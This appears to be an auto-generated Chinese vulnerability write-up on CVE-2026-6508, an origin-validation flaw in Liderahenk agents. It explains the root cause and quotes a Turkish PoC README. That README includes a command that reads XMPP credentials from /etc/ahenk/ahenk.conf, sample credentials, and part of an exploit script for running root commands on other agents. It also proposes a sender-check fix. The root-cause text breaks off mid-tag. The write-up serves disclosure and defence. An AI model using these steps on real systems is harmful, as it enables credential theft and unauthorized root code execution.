🔥 CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 (未定位到源码) 源码进行独立审计(置信度 60%)。
🧬 根因独立理解
<p><strong>摘要:</strong>CVE-2026-6508 是 Liderahenk 集中管理系统中一个被评定为 CVSS 9.8 的严重安全漏洞,根源在于软件对消息来源的校验缺失(Origin Validation Error),导致任意已通过认证的客户端(Agent)可伪装成管理面板,向其他 Agent 发送恶意指令并以 root 身份执行,形成未经授权的远程代码执行(Unauthorized RCE)与内网横向移动能力。该漏洞影响 Liderahenk 2.0.1 及之前版本,2.0.2 版本修复了该问题。目前该漏洞已存在公开 PoC(EvilAhenk),但尚未被 CISA KEV 收录,也暂无公开的 Exploit-DB 利用代码。</p> <h2>📌 漏洞概述</h2> <p><strong>CVE ID:</strong>CVE-2026-6508<br> <strong>CVSS 评分:</strong>9.8(严重)<br> <strong>漏洞类型:</strong>Origin Validation Error(来源校验错误),属于“访问功能未受 ACL 正确约束”的范畴。<br> <strong>受影响版本:</strong>Liderahenk 从 2.0.1 起,至 2.0.2 之前的版本。<br> <strong>修复版本:</strong>Liderahenk 2.0.2。</p> <p>Liderahenk 是 TUBITAK BILGEM 软件技术研究所开发的集中管理解决方案,主要用于管理 Linux 端点(如 Pardus 客户端)。该系统采用客户端-服务器架构,管理面板(Lider)与端点上的代理(ahenk)通过 XMPP 协议通信。该漏洞允许任意已连接 XMPP 服务器的端点代理,伪造管理消息发往其他代理,从而在目标主机上以 root 权限执行任意命令。</p> <h2>🔬 漏洞根因分析</h2> <p>要理解该漏洞的技术根因,需要先梳理 Liderahenk 的正常通信流程。在预期设计中,管理面板(Lider)通过 XMPP 服务器向特定客户端发送任务与策略消息,例如 <code>EXECUTE_POLICY</code>、<code>EXECUTE_TASK</code>、<code>EXECUTE_SCRIPT</code>。这些命令消息从管理面板发往 XMPP 服务器,再由 XMPP 服务器根据目标 JID(Jabber ID)路由到对应客户端(Agent)。客户端收到消息后执行相应操作——例如执行脚本、下发策略或运行任务。</p> <p>这一模型隐含了一个关键信任前提:客户端必须能够区分消息是来自合法的管理面板,还是来自其他任意 XMPP 账户。然而,CVE-2026-6508 的漏洞根源正在于此——ahenk 代理在处理收到的 XMPP 消息时,没有对消息的“来源 JID”进行验证。也就是说,代理只关心消息的目的地是否为自身 JID,却不确认发送方是否为受信任的 Lider 服务器账户。任何能向同一个 XMPP 服务器认证的客户端,只要构造一个发给目标 Agent 的 <code>EXECUTE_SCRIPT</code> 消息,XMPP 服务器会以普通消息路由的方式将其送达目标,而目标 Agent 因为缺乏来源身份校验,会如同收到合法管理指令一样直接执行。</p> <p>更严重的是,ahenk 服务通常以 root 权限运行(<code>ahenk.service</code> 以 root 启动),因此通过该漏洞执行的任意命令都将获得目标端点的最高权限。攻击者不需要直接入侵 XMPP 服务器,也不需要对 XMPP 协议进行任何注入或会话劫持——XMPP 服务器本身只做正常路由,问题完全出在 Agent 端对消息来源的信任缺失。</p> <p>从代码层面看,漏洞属于典型的 Origin Validation Error。安全的实现应当维护一个白名单(ACL),仅当消息发送方 JID 属于已授权的管理面板(或管理组件)时才执行命令。而 Liderahenk 2.0.1 之前的版本没有实施这一检查,导致任何拥有合法 XMPP 凭据的客户端(在默认配置中,每台受管端点的 <code>/etc/ahenk/ahenk.conf</code> 中都存储了 XMPP 用户名和密码)都可以被提取出来,进而冒充管理中心。</p> <p>PoC 工具 <strong>EvilAhenk</strong> 演示了利用该漏洞的完整链路。攻击者首先需要控制一个已加入 Liderahenk 管理网络的客户端。通过读取 <code>/etc/ahenk/ahenk.conf</c
🛤️ 漏洞触发链路
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源jackalkarlos/EvilAhenk针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-6508
EvilAhenk,LiderAhenk Merkezi Yönetim Sistemi mimarisinde,uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (Unauthorized RCE &Lateral Movement) olanak tanıyan kritik güvenlik zafiyetidir.
## Sistem Nasıl Çalışır
LiderAhenk'te yönetim paneli/merkez sunucu,
istemcilere XMPP üzerinden görev ve politika mesajları yollar.
- Merkez Yönetim Paneli yetkili kullanıcı ile XMPP sunucusuna bağlanır,- İstemcilerdeki `ahenk` agent'ları da aynı XMPP altyapısına bağlanır,- Merkez,hedef istemciye `EXECUTE_POLICY`,`EXECUTE_TASK` veya `EXECUTE_SCRIPT` gibi mesajlar yollar
- İstemci agent,
bu mesajları alıp uygular
Yani XMPP burada yönetim trafiğinin taşıma kanalıdır. Merkez panelin komutları normalde bu kanal üzerinden istemcilere gider.
## Beklenen akış ve zafiyetli akış farkı
Beklenen akış:
```text
Lider/Ahenk yonetim paneli ->XMPP sunucusu ->hedef agent
```
Zafiyetli akış:
- `ct-2`,aynı XMPP sunucusuna bağlı geçerli bir istemcidir
- `ct-2`,
`ct-1` JID'ini hedefleyerek XMPP server üzerinden `EXECUTE_SCRIPT` mesajı yollar
- XMPP sunucusu mesajı `ct-1`'e iletir
- `ct-1`,mesajın gerçekten `lider_sunucu`dan gelip gelmediğini kontrol etmeden komutu çalıştırır
- Komut root olarak çalışır çünkü `ahenk.service` root olarak çalışır
```text
ct-2 veya baska bir XMPP hesabi ->XMPP sunucusu ->ct-1 agent ->
root komut
```
Yani biz XMPP katmanını hacklemiyoruz. XMPP sunucusu normal mesaj yönlendirme yapıyor. Sorun,
`ct-1` tarafındaki Ahenk agent'inin gelen mesajın gerçekten yetkili yönetim hesabından gelip gelmediğini kontrol etmemesi.
## PoC
```
pip install slixmpp
```
Ele geçirilmiş ve merkezi yönetim sistemine bağlı bir client üzerinden aşağıdaki gibi bilgiler toplanır:
```bash
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
```
Örnek Çıktı;
```bash
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
```
Main.py dosyasını aldığımız bilgilere göre güncelliyoruz,im.liderahenk.org domain,
pardus-ct-1 hedef uid
```
- XMPP user: `pardus-ct-2@im.liderahenk.org`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `pardus-ct-1@im.liderahenk.org`
```
Kurban makinede çalıştırılacak komut COMMAND değişkeni değiştirilerek düzenlenebilir.
```py
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py |
head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "pardus-ct-2@im.liderahenk.org"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "pardus-ct-1@im.liderahenk.org"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id >/tmp/who;
false"
```
## Zafiyetli kod
`repos/ahenk/src/base/messaging/messenger.py` içinde gelen mesaj sadece `type` alanına göre işleniyor. `msg['from']` için yetkili gönderici kontrolü yok:
```p
def recv_direct_message(self,msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type,
str(msg['body']))
```
`repos/ahenk/src/base/execution/execution_manager.py` içinde ise `EXECUTE_SCRIPT` doğrudan komut çalıştırmaya gidiyor:
```python
def execute_script(self,arg):
json_data = json.loads(arg)
result_code,p_out,
p_err = Util.execute(str(json_data['command']))
```
Bu iki parça birleşince etkisi şu oluyor:
- XMPP sunucusu mesajı hedefe iletiyor
- Kurban agent göndereni doğrulamadan `EXECUTE_SCRIPT` event'ini tetikliyor
- Komut root olarak çalışıyor
Olabilecek tasarımsal fix;```python
def recv_direct_message(self,
msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s",actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'],str(msg['body']))⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-05 03:01